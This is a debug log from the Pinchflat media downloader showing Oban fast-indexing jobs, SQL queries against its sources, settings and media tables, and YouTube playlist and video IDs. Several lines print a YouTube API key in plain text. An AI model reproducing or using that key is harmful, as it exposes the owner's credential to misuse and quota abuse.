{"args":{"id":32},"id":5268304,"meta":{},"system_time":1791582905470210003,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:05.470 [debug] QUERY OK source="sources" db=0.1ms idle=848.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 16:55:05.470 [debug] QUERY OK source="settings" db=0.1ms idle=848.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:05.470 [debug] QUERY OK source="media_profiles" db=0.0ms idle=842.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:55:05.471 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:05.471 [debug] Fetching recent media IDs from YouTube API for playlist: UU-FpBZR7DbpvNj5UrFN8qUA 16:55:05.471 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:05.471 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:55:05.809 [debug] QUERY OK source="media_items" db=0.6ms idle=337.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [32, "GLkWix76LLw", "JlhWWbDHPxU", "RBiDfXovGLo", "f8J65wW7rE0", "LB6QsJdCw1A", "GoZLwFs6Sfg", "PiSBWV78oH8", "D1aE319wZOs", "tbZdOFfHeg4", "slACEQ5pHVk", "F6Oai7bV2u4", "61lJoY3MaKw", "cSGr5EAyajU", "47f9w0cIf5U", "i9fMtZPE8-M", "-TGByHolHgs", "fIDENmWZnAM", "e_zTC9SUkN4", "3m1kxhSo5UY", "G43sFXhmLZQ", "rQg-CvGYZ3c", "WV1XqLaMV9E", "rf1gu1YJnPY", "U0CB65oSyBc", "Fu1p90u_sPw", "_8IehW2r_ys", "uGc_xJ6PIiY", "v9nhfP8NX_0", "ZhnSeRzzCRk", "QA0KAbPiuUs", "m5z3Fd4Izso", "v27tD602_P4", "M4gaeD8-3s4", "VZt0GiFPKLc", "D1ATTh4axUA", "B8YW6V2qzyk", "YDcId2GbuL8", "OET_SOuMF4w", "Nxf92Vkq-vg", "A0v2A_vR8Jc", "IMKE7goli_8", "b5oqQc9awuc", "ed7V-kfgSGY", "M5wiw9524O8", "BlEgvswR_tw", "FL6p369Qt-c", "Ksk8tNzi_JQ", "9Gu7zGt6eyU", "FoMrNXZ-yVE", ...] 16:55:05.810 [debug] QUERY OK source="media_items" db=1.2ms idle=338.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 16:55:05.811 [debug] QUERY OK source="tasks" db=0.1ms idle=340.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268345, 32, ~U[2026-10-09 21:55:05Z], ~U[2026-10-09 21:55:05Z]] 16:55:05.811 [info] {"args":{"id":32},"id":5268304,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":341501,"event":"job:stop","queue_time":606720,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:06.471 [info] {"args":{"id":24},"id":5268305,"meta":{},"system_time":1791582906471251209,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:06.471 [info] {"args":{"id":15},"id":5268306,"meta":{},"system_time":1791582906471291023,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:06.471 [debug] QUERY OK source="sources" db=0.1ms idle=659.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [24] 16:55:06.471 [debug] QUERY OK source="sources" db=0.1ms idle=659.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [15] 16:55:06.471 [debug] QUERY OK source="settings" db=0.1ms idle=653.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:06.471 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:06.472 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:55:06.472 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:55:06.472 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:06.472 [debug] Fetching recent media IDs from YouTube API for playlist: UUgzg_f5HC6EnY-9q5Px1Q-g 16:55:06.472 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:06.472 [debug] Fetching recent media IDs from YouTube API for playlist: UULFXk9J3O-hhOk0msOjKYdQ 16:55:06.472 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:06.472 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:06.472 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:55:06.472 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:55:06.822 [debug] QUERY OK source="media_items" db=0.5ms idle=349.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [24, "P7p370YXuKc", "EqcdcLKC5bE", "XWN9YMVaTio", "0ff4TbRMPcE", "lr65O1qIhT4", "lQPuHoc-93U", "8jv8nOKR_Ck", "8lzNViKW9F8", "r2GTUZ2zQSE", "Ki7sgG5i5P0", "dI43FJGa52A", "Tb0Z5jKFrKA", "A1QzVQn8hH8", "lWvIsb06YYg", "rLmO075A07c", "uPvdvnz9rLc", "IBk-Nh0VRy0", "IclNtwcicpc", "emMmkd-o2-o", "o3CQZ4JmTU8", "p6Q9chqIwyg", "0voL1hfm3e4", "HCQGhsHO1nM", "6xs7fjbo2NM", "yCdY2eeT8fQ", "faSZB8yewoU", "otxMmPttGp4", "7pysYXsQ8Ps", "QJtdNwlYFDM", "iBclMIJgm7k", "UI4lFdFfOFI", "apGupfbctgs", "qhRfchtbX-0", "73Vhinj4iEI", "M6o0F4zC8Ps", "NrQ0BAnY8sk", "y7WdMKmMR5Y", "J0z4YoAcmKI", "6eSG5JLP0-g", "AvswAhGn_PU", "4FFIce1pjH0", "yOM58cUfPhs", "gTT34dgyJfA", "hZJe5fqUbQA", "RNGpdA2TR1M", "PmIe2ZOPcA0", "zImBY_tGMIU", "1VUhrRFTY_0", "QJDpwY5MGjs", ...] 16:55:06.823 [debug] QUERY OK source="media_items" db=0.1ms idle=350.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [24] 16:55:06.824 [debug] QUERY OK source="tasks" db=0.1ms idle=351.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268346, 24, ~U[2026-10-09 21:55:06Z], ~U[2026-10-09 21:55:06Z]] 16:55:06.824 [info] {"args":{"id":24},"id":5268305,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":353127,"event":"job:stop","queue_time":390990,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:06.830 [info] {"args":{"id":3},"id":5268307,"meta":{},"system_time":1791582906830136168,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:06.830 [debug] QUERY OK source="sources" db=0.1ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:55:06.830 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:06.830 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:55:06.830 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:06.830 [debug] Fetching recent media IDs from YouTube API for playlist: UUy0tKL1T7wFoYcxCe0xjN6Q 16:55:06.830 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:06.830 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:55:07.008 [debug] QUERY OK source="media_items" db=0.6ms idle=177.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [15, "wLB-Q0iK340", "nY3KX4nYujU", "4K6KgNQkFlE", "WINGdoJP1k4", "qh3zsN1tWHc", "0WY7Y_Hierc", "A4ppPzrJeKg", "QyJRbfVpasM", "cEvbtJKkiKA", "oIpuh9B54_Y", "qBngEbWvnLU", "ybedvH-Z1a0", "gyapvbUPeGY", "43yyNypLixI", "5TNRLSuu7Ck", "ogTdveOYLQw", "Lsn68mBl8t8", "xyjk-UAYXUw", "sjU6mk8YUFw", "l5-eiLTPkfo", "RrCOMIgn7lg", "5YyOA4Fb7DQ", "P0yz6bFnRPU", "UPvzdNYpGkk", "pXdGk0dzIso", "xNjq6F8JjZ4", "Z-PAcG0uecs", "yg7Oxq0V0bw", "044H43vCM5U", "WK4B1vsFvlA", "XAhoRD94yo8", "Vq8XXz_66lQ", "-OUVRcJMcfQ", "SkK7ve8Isq8", "P9yK5E1iw4o", "NHwWYgRkMOM", "neUAF2AjYZc", "zsYvx6oBdkI", "_wxU3z9VxOY", "Rl-Okv32Cg0", "xezfkm4w5Oo", "4mmV3TpYCwc", "6UbSy5JRc10", "z5VzU53LQ3Y", "QtN38fxQUZI", "aOB2mSALBiA", "Jr7pjruyR9s", "SQ_BWki10Y8", "1cwS7nzthpw", ...] 16:55:07.009 [debug] QUERY OK source="media_items" db=0.4ms idle=178.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [15] 16:55:07.010 [debug] QUERY OK source="tasks" db=0.1ms idle=179.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268347, 15, ~U[2026-10-09 21:55:07Z], ~U[2026-10-09 21:55:07Z]] 16:55:07.010 [info] {"args":{"id":15},"id":5268306,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":539058,"event":"job:stop","queue_time":226994,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:07.193 [debug] QUERY OK source="media_items" db=0.5ms idle=183.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "0KoeY54M5VA", "F_7B2shTPPU", "_KWdCqpXB7A", "KnUFH5GX_fI", "nXdVG45wveo", "mmCfOazZCNQ", "KtQ9nt2ZeGM", "tCVsyY5TRQI", "oy7BrKNmZAQ", "INZybkX8tLI", "8I4Jc-WLsrs", "DAX2_mPr9W8", "ms8uu0zeU88", "Aytf6ARcs8s", "JzClLWL-Eys", "HFYWHeBhYbM", "SaKKzZRrPIg", "W96a8svXo14", "OSCOQ6vnLwU", "j_QfX0SYCE8", "OOK5xkFijPc", "QEJpZjg8GuA", "HnMuNCl7tZ8", "kTctVqjhDEw", "qSFNufruSKw", "6Ea6jf-9Czo", "dHskIsOYZ8s", "6h9JhW-m35o", "Namf-Ddo_Xo", "WkIR23emsWY", "zsA3X40nz9w", "CnMRePtHMZY", "CzJKxUCKOBg", "3-Q87w8uhwg", "XRCprhlz4D8", "uhbDfi7Ee7k", "YGT1EvmDJh4", "jHP942Livy0", "XeDCCNFAULk", "TLm7Q92xMjQ", "ff04ecF9Dfw", "ZcH0j7tOrDA", "DTsQjiPlksA", "AEm-2giH_zw", "E3p_Cv32tEo", "va1rzP2xIx4", "Limpr1L8Pss", "TBPVJtGBf8Y", "bis_4MT5SSo", ...] 16:55:07.194 [debug] QUERY OK source="media_items" db=0.5ms idle=184.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 16:55:07.195 [debug] QUERY OK source="tasks" db=0.1ms idle=179.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268348, 3, ~U[2026-10-09 21:55:07Z], ~U[2026-10-09 21:55:07Z]] 16:55:07.195 [info] 